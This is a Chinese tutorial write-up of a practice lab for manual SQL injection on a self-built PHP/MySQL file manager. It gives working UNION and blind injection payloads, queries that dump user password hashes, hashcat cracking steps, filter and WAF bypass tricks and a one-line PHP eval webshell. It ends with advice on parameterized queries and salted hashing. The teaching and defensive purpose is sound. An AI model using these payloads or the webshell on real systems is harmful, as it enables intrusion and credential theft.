手动SQL注入实战：从漏洞探测到数据提取的完整演练

1. 项目概述：从靶场到实战的SQL注入演练

最近在整理安全测试的笔记，翻到了一个挺有意思的练习项目——手动对一个模拟的CMS文件管理系统进行SQL注入。这玩意儿听起来有点老派，毕竟现在各种自动化工具和框架满天飞，但说实话，手动注入的能力依然是安全从业者的基本功，它能帮你理解漏洞最底层的原理，而不是只会点按钮。这个靶场模拟了一个典型的、存在漏洞的文件管理系统后台，正好拿来练手，把注入的每一步逻辑都掰扯清楚。

所谓CMS文件管理系统，你可以把它想象成一个简化版的网盘后台，管理员可以上传、删除、分类管理文件。而它的漏洞，往往就藏在那些与数据库交互的地方，比如文件列表的筛选、用户登录、搜索功能。我们这次的目标，就是找到这些薄弱点，在不依赖sqlmap这类自动化工具的情况下，纯手工一步步“撬开”数据库的大门，拿到敏感信息。这个过程不仅能帮你巩固SQL语法，更能让你深刻理解应用程序是如何与数据库“对话”的，以及一句恶意的输入是如何被曲解并执行。无论你是刚开始接触Web安全的新手，还是想重温基础的老手，跟着走一遍这个手动注入的完整流程，肯定会有收获。

2. 靶场环境搭建与目标分析

2.1 靶场部署与初步侦察

首先，你得有一个靶场环境。市面上有很多现成的、带漏洞的CMS系统可以用来搭建，比如一些开源的、故意留有漏洞的教学版本。我这次用的是自己用PHP和MySQL简单搭建的一个模拟环境，核心就是一个文件管理列表页面，URL大概长这样：http://target.com/file_manager.php?category=documents。它的功能是根据category参数从数据库里查询对应类别的文件列表。

动手之前，信息收集是关键。我习惯先用浏览器直接访问目标页面，看看它的基本样子：有哪些功能点（列表、搜索、详情），页面结构如何。接着，打开浏览器的开发者工具（F12），切换到“网络”（Network）标签页，重新加载页面。这里你能看到页面加载的所有请求，重点关注那个file_manager.php的请求，看看它发送了哪些参数（比如我们关注的category），以及服务器的响应头信息。有时，响应头里的Server: Apache/2.4.xx或X-Powered-By: PHP/7.x.x就能给你一些技术栈的提示。

注意：在真实环境中，信息收集要广泛得多，包括子域名、目录扫描、框架识别等。但在靶场练习中，我们通常已知目标的大致技术栈（如PHP+MySQL），所以可以更聚焦于漏洞点的寻找。

2.2 漏洞点探测与注入类型判断

我们的突破口很可能在URL的参数里，特别是那些看起来用于查询数据库的参数，比如id,category,search等。对于这个靶场，category参数就是首要怀疑对象。

第一步，先进行简单的漏洞存在性测试。我在category参数的值后面加了一个单引号‘，访问：http://target.com/file_manager.php?category=documents'。如果页面返回了数据库错误（比如“You have an error in your SQL syntax”），或者页面布局出现异常、空白，那基本就坐实了这里存在SQL注入漏洞。因为单引号会破坏原SQL语句的字符串闭合，导致语法错误。

确认漏洞存在后，下一步是判断注入类型。这决定了我们后续的注入手法。主要分为两类：

1. 数字型注入：参数值没有被单引号包裹。例如，原语句可能是SELECT * FROM files WHERE id = $id。测试时，输入1 AND 1=1和1 AND 1=2，观察页面返回是否不同。
2. 字符型注入：参数值被单引号包裹。例如，原语句可能是SELECT * FROM files WHERE category = ‘$category’。测试时，输入documents‘ AND ‘1’=‘1和documents‘ AND ‘1’=‘2。

在我的靶场测试中，输入documents‘ AND ‘1’=‘1时，页面正常显示文件列表；输入documents‘ AND ‘1’=‘2时，页面无结果或报错。这清晰地表明，category参数是字符型注入，并且服务器返回了布尔值（True/False）相关的不同状态。这为我们后续进行“基于布尔的盲注”提供了条件。

3. 手动SQL注入的核心步骤详解

3.1 确定字段数与查询结构

在开始“偷”数据之前，我们需要知道当前执行的SQL查询语句到底SELECT了多少个字段。这就像你要用UNION操作符把两条查询结果合并，前提是两条查询的列数必须相同。我们使用ORDER BY子句来探测。

ORDER BY后面跟数字，表示按查询结果集的第几列进行排序。如果数字超出了实际列数，数据库就会报错。我们从ORDER BY 1开始尝试：http://target.com/file_manager.php?category=documents‘ ORDER BY 1--http://target.com/file_manager.php?category=documents‘ ORDER BY 5--http://target.com/file_manager.php?category=documents‘ ORDER BY 10--

注意这里的--（后面有个空格）是SQL中的单行注释符，它的作用是把原始SQL语句中我们输入参数后面的部分注释掉，避免语法错误。比如，原语句可能是：SELECT name, size, upload_time FROM files WHERE category = ‘documents‘ ORDER BY 1-- ‘被注释后，实际执行的就是：SELECT name, size, upload_time FROM files WHERE category = ‘documents‘ ORDER BY 1

当我测试到ORDER BY 4时页面报错，而ORDER BY 3时页面正常。这说明原始查询返回了3个字段。知道这个数字至关重要。

3.2 利用UNION注入获取关键信息

知道了字段数是3，我们就可以使用UNION SELECT来执行我们自己的查询，并将结果合并显示在页面上。但首先，我们需要找到页面中哪个位置会显示我们注入查询的结果。通常，页面上的某些文本区域、表格单元格会回显数据库查询的某一列。

我构造了这样一个Payload：http://target.com/file_manager.php?category=documents‘ UNION SELECT 1,2,3--

访问后，我仔细查看页面。发现原本显示文件“大小”的表格列，现在显示的是数字“2”；原本显示“上传日期”的列，显示的是数字“3”。而数字“1”没有显示出来（可能对应了某个不显示的字段）。这太好了！这说明页面的第2和第3列是可见的回显点。我们可以把想要查询的数据，放在这两个位置上。

接下来，就可以利用这两个回显点来获取数据库的元信息了。我替换了Payload：http://target.com/file_manager.php?category=documents‘ UNION SELECT 1, database(), version()--

这次，在“大小”列显示的不再是“2”，而是当前数据库的名称（例如cms_db）；在“上传日期”列显示的是MySQL的版本号（例如5.7.36）。用同样的方法，我还可以查询当前数据库用户：http://target.com/file_manager.php?category=documents‘ UNION SELECT 1, user(), @@version_compile_os--

user()函数返回当前连接数据库的用户，@@version_compile_os返回操作系统信息。这一步让我们对目标环境有了更清晰的认知：数据库名、版本、用户、操作系统。这些信息对于后续的深入利用非常有帮助，比如知道MySQL版本是5.0以上，就可以查询information_schema这个系统数据库。

3.3 爆破数据库表名与列名

在MySQL中，information_schema数据库就像一本“数据库的字典”，里面存储了所有其他数据库、表、列的信息。我们的目标是先拿到当前数据库（cms_db）里所有表的名称。

我构造了以下Payload，查询information_schema.tables表：http://target.com/file_manager.php?category=documents‘ UNION SELECT 1, table_name, table_schema FROM information_schema.tables WHERE table_schema=database()--

这条语句会列出cms_db数据库里所有的表。在页面上，我看到了诸如files,users,config,logs等表名。其中，users表无疑是最吸引人的目标，里面很可能存放着管理员账号和密码。

下一步，就是探查users表的具体结构，即它有哪些列。我继续查询information_schema.columns表：http://target.com/file_manager.php?category=documents‘ UNION SELECT 1, column_name, data_type FROM information_schema.columns WHERE table_name=‘users‘ AND table_schema=database()--

实操心得：这里table_name的值‘users‘需要用单引号引起来，因为它是一个字符串。有时候如果遇到过滤，可能需要用十六进制编码（如0x7573657273）来绕过。在靶场中，直接使用单引号通常可行。

执行后，页面上显示了users表的列信息，例如：id(int),username(varchar),password(varchar),email(varchar),is_admin(tinyint)。至此，数据库的“地图”我们已经完全掌握了。

4. 数据提取与密码破解实战

4.1 提取用户凭证数据

目标明确，就是users表里的username和password字段。现在可以直接用UNION SELECT把数据“拉”出来。为了让结果更清晰，我使用CONCAT()函数把用户名和密码拼接在一列显示，另一列可以显示其他信息如邮箱。

Payload如下：http://target.com/file_manager.php?category=documents‘ UNION SELECT 1, CONCAT(username, ‘:‘, password), email FROM users--

页面回显点（原来的“大小”列）现在显示出了类似这样的内容：admin:5f4dcc3b5aa765d61d8327deb882cf99user1:e10adc3949ba59abbe56e057f20f883e...

成功！我们拿到了用户名和密码的哈希值（Hash）。从格式上看，admin的密码5f4dcc3b5aa765d61d8327deb882cf99是32位的MD5哈希；user1的密码e10adc3949ba59abbe56e057f20f883e也是MD5，并且这个值非常常见，它就是“123456”的MD5值。

4.2 哈希密码的破解与思考

拿到哈希值并不等于拿到了明文密码。我们需要进行破解。对于简单的、常见的密码（弱口令），其MD5哈希值通常被收录在庞大的“彩虹表”中。我们可以通过在线MD5解密网站（如cmd5.com）或本地的哈希破解工具（如John the Ripper, Hashcat）来进行尝试。

1. 在线查询：我将e10adc3949ba59abbe56e057f20f883e复制到cmd5网站，瞬间就得到了结果：123456。这是因为“123456”作为全球最常用的弱密码之一，其哈希值早已被所有彩虹表收录。
2. 本地破解：对于admin的哈希5f4dcc3b5aa765d61d8327deb882cf99，在线网站可能因为其强度较高而需要付费或无法直接破解。这时可以使用Hashcat。假设我怀疑密码可能是英文单词，可以准备一个密码字典（wordlist），然后执行命令：

   hashcat -m 0 -a 0 admin_hash.txt rockyou.txt

   其中-m 0指定MD5模式，-a 0是字典攻击模式，admin_hash.txt文件里保存着那个哈希值，rockyou.txt是一个著名的弱密码字典。

重要注意事项：在实际的安全测试或CTF比赛中，获取到哈希值并尝试破解是常规操作。但在未经授权的真实网站上进行这些操作是违法的。靶场练习的目的正是为了在合法合规的环境下掌握技能，理解风险，从而帮助开发人员避免写出存在此类漏洞的代码。

如果密码是加盐（Salt）哈希的，破解难度会呈指数级上升。加盐是指在密码哈希之前，拼接上一个随机字符串（盐值）。即使两个用户密码相同，由于盐值不同，最终的哈希值也完全不同，有效防御了彩虹表攻击。在审计代码时，检查密码存储是否采用“加盐哈希”（如bcrypt,scrypt,PBKDF2）是至关重要的。

5. 手工注入的进阶技巧与防御绕过

5.1 基于布尔的盲注深入利用

在我们这个靶场例子中，数据是直接回显在页面上的，这属于“联合查询注入”或“报错注入”。但还有一种更常见、也更隐蔽的情况：基于布尔的盲注。即页面不会直接显示数据库数据或错误信息，只会根据注入的SQL语句执行结果是“真”还是“假”，返回不同的页面状态（例如，内容存在与否、HTTP响应码不同、页面某处细微的文字差异）。

假设靶场的category参数存在布尔盲注，我们无法用UNION直接看到数据，但可以通过一系列“是或否”的问题来逐位猜解数据。例如，猜解当前数据库名的第一个字符的ASCII码是否大于100：http://target.com/file_manager.php?category=documents‘ AND ASCII(SUBSTRING(database(),1,1)) > 100--

如果页面正常显示（条件为真），说明第一个字符的ASCII码大于100；如果页面无结果（条件为假），则说明小于等于100。通过二分法，可以快速定位到准确的ASCII码值，从而还原出字符。整个过程非常耗时，需要自动化脚本辅助，但原理就是通过布尔逻辑进行推理。手工操作时，可以借助Burp Suite的Intruder模块，通过设置Payload位置和攻击类型（如“Sniper”或“Cluster bomb”）来自动化完成猜解过程。

5.2 常见过滤机制与绕过手法

现代的Web应用或多或少都会有一些针对SQL注入的防御措施，比如：

• 关键字过滤：过滤SELECT,UNION,AND,OR,空格等。
• WAF（Web应用防火墙）：基于规则拦截恶意请求。

手工注入的魅力就在于“斗智斗勇”。以下是一些经典的绕过技巧：

1. 大小写绕过：SeLeCt代替SELECT。有些简单的过滤只匹配全大写或全小写。
2. 双写绕过：如果过滤是删除关键字，可以尝试SELSELECTECT，过滤掉中间的SELECT后，剩下的部分又组成了SELECT。
3. 内联注释：/*!SELECT*/。在MySQL中，/*!...*/中的内容会被当作SQL语句执行，但某些WAF可能不识别。
4. 等价函数/符号替换：
   • AND->&&
   • OR->||
   • =->LIKE,REGEXP,<>（不等于）
   • 空格 ->/**/（注释符充当空格）、+（URL编码后）、%0a（换行符）
5. 编码绕过：
   • 十六进制编码：将字符串转换为十六进制。例如，users的十六进制是0x7573657273。Payload可以写成：...WHERE table_name=0x7573657273--，这样就绕过了对单引号的过滤。
   • URL编码：对注入Payload整体或部分进行URL编码。SELECT编码后是%53%45%4c%45%43%54。有时服务器会进行多次解码，可能造成绕过。
6. 利用数据库特性：
   • 在MySQL中，SELECT ‘a‘ ‘b‘的结果是‘ab‘，可以利用这个特性拼接字符串绕过对某些词的过滤。

踩坑记录：绕过的过程往往需要多次尝试和组合技巧。最好的方法是搭建一个存在WAF或简单过滤的靶场（如Pikachu靶场的一些关卡），针对性地练习这些绕过手法。理解原理比记忆Payload更重要。

6. 漏洞挖掘与修复建议实录

6.1 从注入点到GetShell的联想

通过SQL注入拿到管理员账号密码后，攻击并未结束。登录后台管理系统，往往能找到新的攻击面。在这个模拟的CMS文件管理系统中，后台很可能存在文件上传功能。如果上传功能未对文件类型、内容进行严格校验，攻击者就可能上传一个Webshell（例如一个包含<?php @eval($_POST[‘cmd‘]);?>的PHP文件），从而获得服务器的命令执行权限，这就是常说的“GetShell”。

整个攻击链可能是：SQL注入获取后台凭证 -> 登录后台 -> 利用文件上传漏洞上传Webshell -> 接管服务器。因此，在渗透测试中，发现一个SQL注入点，尤其是能获取管理员权限的注入点，其危险等级通常被定为“高危”或“严重”。

6.2 针对开发者的安全编码建议

作为开发者，如何从根本上杜绝SQL注入？以下是我总结的几条铁律：

1. 使用参数化查询（预编译语句）：这是最重要、最有效的手段。无论是PHP的PDO、Python的sqlite3/MySQLdb、Java的PreparedStatement，其原理都是将SQL语句的“结构”与“数据”分离。数据库先编译SQL语句结构，再将用户输入的数据作为参数传入，这样无论数据内容是什么，都不会改变原语句的结构。

   // PHP PDO 示例（正确做法） $stmt = $pdo->prepare(“SELECT * FROM files WHERE category = :category“); $stmt->execute([‘category‘ => $category]);

   绝对不要使用字符串拼接的方式构建SQL语句：

   // 错误做法！存在注入漏洞！ $sql = “SELECT * FROM files WHERE category = ‘“ . $_GET[‘category‘] . “‘“;

2. 使用安全的ORM框架：像Laravel的Eloquent、ThinkPHP的模型等ORM框架，它们底层通常实现了参数化查询，能极大降低手写SQL出错的风险。

3. 实施最小权限原则：为Web应用程序连接数据库的账户分配最小的必要权限。通常，只授予SELECT、INSERT、UPDATE、DELETE等业务必需权限，切勿使用root或拥有FILE_PRIV、PROCESS等高级权限的账户。这样即使发生注入，攻击者能造成的破坏也有限。

4. 对输入进行严格的校验和过滤：虽然不能完全依赖，但作为辅助手段。对预期的输入类型进行强制转换（如整型intval()），对字符串进行白名单过滤（只允许特定字符集）。

5. 加密存储敏感数据：像用户密码，必须使用强哈希算法（如bcrypt、Argon2）并加盐存储，确保即使数据库泄露，攻击者也无法轻易还原明文密码。

6. 定期进行安全审计与渗透测试：使用自动化扫描工具（如SQLMap、Nessus）结合手动测试，定期对系统进行安全检查。同时，代码审查（Code Review）是发现安全漏洞的另一个有效途径。

手动完成一次完整的SQL注入攻击链演练，最大的收获不是学会了几个Payload，而是建立了一种“攻击者思维”。当你再去写代码时，你会本能地去想：“这个地方的用户输入，如果被恶意构造，会怎么样？” 这种思维转换，是任何自动化工具都无法赋予你的。靶场练习的意义就在于此——在安全的沙箱里，模拟最真实的攻击，从而铸就最坚固的防御。